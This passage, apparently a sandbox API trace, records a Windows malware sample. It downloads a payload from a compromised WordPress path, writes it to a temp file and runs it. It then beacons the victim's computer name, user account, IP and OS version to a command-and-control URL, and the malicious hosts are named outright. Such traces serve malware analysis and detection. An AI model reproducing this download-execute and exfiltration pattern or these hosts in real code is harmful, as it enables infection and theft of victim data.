[14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xbc01067, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0055.969] ResumeThread (hThread=0x3ec) returned 0x1 [0055.969] GetProcessId (Process=0x3f0) returned 0xa68 [0055.969] CloseHandle (hObject=0x3ec) returned 1 [0055.969] CloseHandle (hObject=0x3f0) returned 1 [0055.969] InternetCrackUrlA (in: lpszUrl="http://tekstheks.nl/wp-admin/includes/3", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xefbc4 | out: lpUrlComponents=0xefbc4) returned 1 [0055.969] InternetConnectA (hInternet=0xcc0004, lpszServerName="tekstheks.nl", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0055.969] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/wp-admin/includes/3", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x407050*="*/*", dwFlags=0x84080100, dwContext=0x1) returned 0xcc000c [0055.969] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0056.075] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xefc0c, lpdwBufferLength=0xefc00, lpdwIndex=0x0 | out: lpBuffer=0xefc0c*, lpdwBufferLength=0xefc00*=0x4, lpdwIndex=0x0) returned 1 [0056.075] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x8b20020, dwNumberOfBytesToRead=0x500000, lpdwNumberOfBytesRead=0xefc10 | out: lpBuffer=0x8b20020*, lpdwNumberOfBytesRead=0xefc10*=0x25334) returned 1 [0058.559] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x8b45354, dwNumberOfBytesToRead=0x4daccc, lpdwNumberOfBytesRead=0xefc10 | out: lpBuffer=0x8b45354*, lpdwNumberOfBytesRead=0xefc10*=0x0) returned 1 [0058.559] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0058.559] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0058.560] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x9500020, UncompressedBufferSize=0x500000, CompressedBuffer=0x8b20028, CompressedBufferSize=0x2532c, FinalUncompressedSize=0xefc14 | out: UncompressedBuffer=0x9500020, FinalUncompressedSize=0xefc14) returned 0x0 [0058.565] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0xefc40 | out: lpBuffer="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned 0x25 [0058.566] GetTempFileNameA (in: lpPathName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\", lpPrefixString="BN", uUnique=0x0, lpTempFileName=0xefd44 | out: lpTempFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\bn649b.tmp")) returned 0x649b [0058.571] CreateFileA (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\bn649b.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0 [0058.572] WriteFile (in: hFile=0x3f0, lpBuffer=0x8b20020*, nNumberOfBytesToWrite=0x2c000, lpNumberOfBytesWritten=0xefe54, lpOverlapped=0x0 | out: lpBuffer=0x8b20020*, lpNumberOfBytesWritten=0xefe54*=0x2c000, lpOverlapped=0x0) returned 1 [0058.578] CloseHandle (hObject=0x3f0) returned 1 [0058.584] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xefbdc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xefc20 | out: lpCommandLine="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\BN649B.tmp", lpProcessInformation=0xefc20*(hProcess=0x3ec, hThread=0x3f0, dwProcessId=0xa7c, dwThreadId=0xa80)) returned 1 [0058.603] CloseHandle (hObject=0x3ec) returned 1 [0058.603] CloseHandle (hObject=0x3f0) returned 1 [0058.604] Sleep (dwMilliseconds=0xea60) [0068.882] Sleep (dwMilliseconds=0xea60) [0078.897] GetVersion () returned 0x1db10106 [0078.897] GetComputerNameA (in: lpBuffer=0xef82c, nSize=0xef938 | out: lpBuffer="AUFDDCNTXWT", nSize=0xef938) returned 1 [0078.897] lstrcatA (in: lpString1="", lpString2="AUFDDCNTXWT" | out: lpString1="AUFDDCNTXWT") returned="AUFDDCNTXWT" [0078.897] lstrcatA (in: lpString1="AUFDDCNTXWT", lpString2=" @ " | out: lpString1="AUFDDCNTXWT @ ") returned="AUFDDCNTXWT @ " [0078.897] EnumProcesses (in: lpidProcess=0xee2ec, cb=0x1000, lpcbNeeded=0xef4f8 | out: lpidProcess=0xee2ec, lpcbNeeded=0xef4f8) returned 1 [0078.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0078.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0078.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0078.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x14c) returned 0x0 [0078.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0078.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0078.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0078.897] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ec) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x258) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x354) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x398) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f0) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x160) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x11c) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x40c) returned 0x0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x510) returned 0x3f0 [0078.898] GetProcessImageFileNameA (in: hProcess=0x3f0, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\System32\\taskhost.exe") returned 0x35 [0078.898] CloseHandle (hObject=0x3f0) returned 1 [0078.898] lstrcpyA (in: lpString1=0xef2ec, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0078.898] lstrcmpiA (lpString1="taskhost.exe", lpString2="explorer.exe") returned 1 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0x3f0 [0078.898] GetProcessImageFileNameA (in: hProcess=0x3f0, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\System32\\dwm.exe") returned 0x30 [0078.898] CloseHandle (hObject=0x3f0) returned 1 [0078.898] lstrcpyA (in: lpString1=0xef2ec, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0078.898] lstrcmpiA (lpString1="dwm.exe", lpString2="explorer.exe") returned -1 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x568) returned 0x3f0 [0078.898] GetProcessImageFileNameA (in: hProcess=0x3f0, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\explorer.exe") returned 0x2c [0078.898] CloseHandle (hObject=0x3f0) returned 1 [0078.898] lstrcpyA (in: lpString1=0xef2ec, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0078.898] lstrcmpiA (lpString1="explorer.exe", lpString2="explorer.exe") returned 0 [0078.898] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x568) returned 0x3f0 [0078.898] OpenProcessToken (in: ProcessHandle=0x3f0, DesiredAccess=0x20008, TokenHandle=0xef4e0 | out: TokenHandle=0xef4e0*=0x3ec) returned 1 [0078.898] GetTokenInformation (in: TokenHandle=0x3ec, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xef4e4 | out: TokenInformation=0x0, ReturnLength=0xef4e4) returned 0 [0078.898] GetLastError () returned 0x7a [0078.898] GetTokenInformation (in: TokenHandle=0x3ec, TokenInformationClass=0x1, TokenInformation=0x712870, TokenInformationLength=0x24, ReturnLength=0xef4e4 | out: TokenInformation=0x712870, ReturnLength=0xef4e4) returned 1 [0078.898] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x712878*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4)), Name=0xef50c, cchName=0xef4f8, ReferencedDomainName=0xef610, cchReferencedDomainName=0xef500, peUse=0xef4dc | out: Name="aDU0VK IWA5kLS", cchName=0xef4f8, ReferencedDomainName="AUFDDCNTXWT", cchReferencedDomainName=0xef500, peUse=0xef4dc) returned 1 [0078.899] lstrcpyA (in: lpString1=0xef728, lpString2="AUFDDCNTXWT" | out: lpString1="AUFDDCNTXWT") returned="AUFDDCNTXWT" [0078.899] lstrcatA (in: lpString1="AUFDDCNTXWT", lpString2="\\" | out: lpString1="AUFDDCNTXWT\\") returned="AUFDDCNTXWT\\" [0078.899] lstrcatA (in: lpString1="AUFDDCNTXWT\\", lpString2="aDU0VK IWA5kLS" | out: lpString1="AUFDDCNTXWT\\aDU0VK IWA5kLS") returned="AUFDDCNTXWT\\aDU0VK IWA5kLS" [0078.899] lstrcatA (in: lpString1="AUFDDCNTXWT @ ", lpString2="AUFDDCNTXWT\\aDU0VK IWA5kLS" | out: lpString1="AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS") returned="AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS" [0078.899] lstrcpyA (in: lpString1=0xefe48, lpString2="87.142.159.132" | out: lpString1="87.142.159.132") returned="87.142.159.132" [0078.926] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75dc0000 [0078.928] GetProcAddress (hModule=0x75dc0000, lpProcName="GetNativeSystemInfo") returned 0x75de10b5 [0078.928] GetNativeSystemInfo (in: lpSystemInfo=0xef910 | out: lpSystemInfo=0xef910*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0078.928] wsprintfA (in: param_1=0xef948, param_2="GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)" | out: param_1="GUID=18221541888462561536&BUILD=2108&INFO=AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS&IP=87.142.159.132&TYPE=1&WIN=6.1(x64)") returned 120 [0078.928] lstrlenA (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0078.928] lstrlenA (lpString="GUID=18221541888462561536&BUILD=2108&INFO=AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS&IP=87.142.159.132&TYPE=1&WIN=6.1(x64)") returned 120 [0078.928] InternetCrackUrlA (in: lpszUrl="http://supritofuld.ru/ls5/forum.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xef8d0 | out: lpUrlComponents=0xef8d0) returned 1 [0078.928] InternetConnectA (hInternet=0xcc0004, lpszServerName="supritofuld.ru", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.929] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/ls5/forum.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x407048*="*/*", dwFlags=0x84080100, dwContext=0x0) returned 0xcc000c [0078.929] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0xef948*, dwOptionalLength=0x78 | out: lpOptional=0xef948*) returned 1 [0079.082] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xef91c, lpdwBufferLength=0xef90c, lpdwIndex=0x0 | out: lpBuffer=0xef91c*, lpdwBufferLength=0xef90c*=0x4, lpdwIndex=0x0) returned 1 [0079.082] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2180020, dwNumberOfBytesToRead=0x1ffffff, lpdwNumberOfBytesRead=0xefe90 | out: lpBuffer=0x2180020*, lpdwNumberOfBytesRead=0xefe90*=0xc) returned 1 [0079.082] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.082] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0079.082] Sleep (dwMilliseconds=0xea60) [0089.084] Sleep (dwMilliseconds=0xea60) [0099.147] GetVersion () returned 0x1db10106 [0099.147] GetComputerNameA (in: lpBuffer=0xef82c, nSize=0xef938 | out: lpBuffer="AUFDDCNTXWT", nSize=0xef938) returned 1 [0099.147] lstrcatA (in: lpString1="", lpString2="AUFDDCNTXWT" | out: lpString1="AUFDDCNTXWT") returned="AUFDDCNTXWT" [0099.147] lstrcatA (in: lpString1="AUFDDCNTXWT", lpString2=" @ " | out: lpString1="AUFDDCNTXWT @ ") returned="AUFDDCNTXWT @ " [0099.147] EnumProcesses (in: lpidProcess=0xee2ec, cb=0x1000, lpcbNeeded=0xef4f8 | out: lpidProcess=0xee2ec, lpcbNeeded=0xef4f8) returned 1 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x14c) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ec) returned 0x0 [0099.147] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x258) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x354) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x398) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f0) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x160) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x11c) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x40c) returned 0x0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x510) returned 0x204 [0099.148] GetProcessImageFileNameA (in: hProcess=0x204, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\System32\\taskhost.exe") returned 0x35 [0099.148] CloseHandle (hObject=0x204) returned 1 [0099.148] lstrcpyA (in: lpString1=0xef2ec, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0099.148] lstrcmpiA (lpString1="taskhost.exe", lpString2="explorer.exe") returned 1 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0x204 [0099.148] GetProcessImageFileNameA (in: hProcess=0x204, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\System32\\dwm.exe") returned 0x30 [0099.148] CloseHandle (hObject=0x204) returned 1 [0099.148] lstrcpyA (in: lpString1=0xef2ec, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0099.148] lstrcmpiA (lpString1="dwm.exe", lpString2="explorer.exe") returned -1 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x568) returned 0x204 [0099.148] GetProcessImageFileNameA (in: hProcess=0x204, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\explorer.exe") returned 0x2c [0099.148] CloseHandle (hObject=0x204) returned 1 [0099.148] lstrcpyA (in: lpString1=0xef2ec, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0099.148] lstrcmpiA (lpString1="explorer.exe", lpString2="explorer.exe") returned 0 [0099.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x568) returned 0x204 [0099.148] OpenProcessToken (in: ProcessHandle=0x204, DesiredAccess=0x20008, TokenHandle=0xef4e0 | out: TokenHandle=0xef4e0*=0x208) returned 1 [0099.148] GetTokenInformation (in: TokenHandle=0x208, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xef4e4 | out: TokenInformation=0x0, ReturnLength=0xef4e4) returned 0 [0099.148] GetLastError () returned 0x7a [0099.148] GetTokenInformation (in: TokenHandle=0x208, 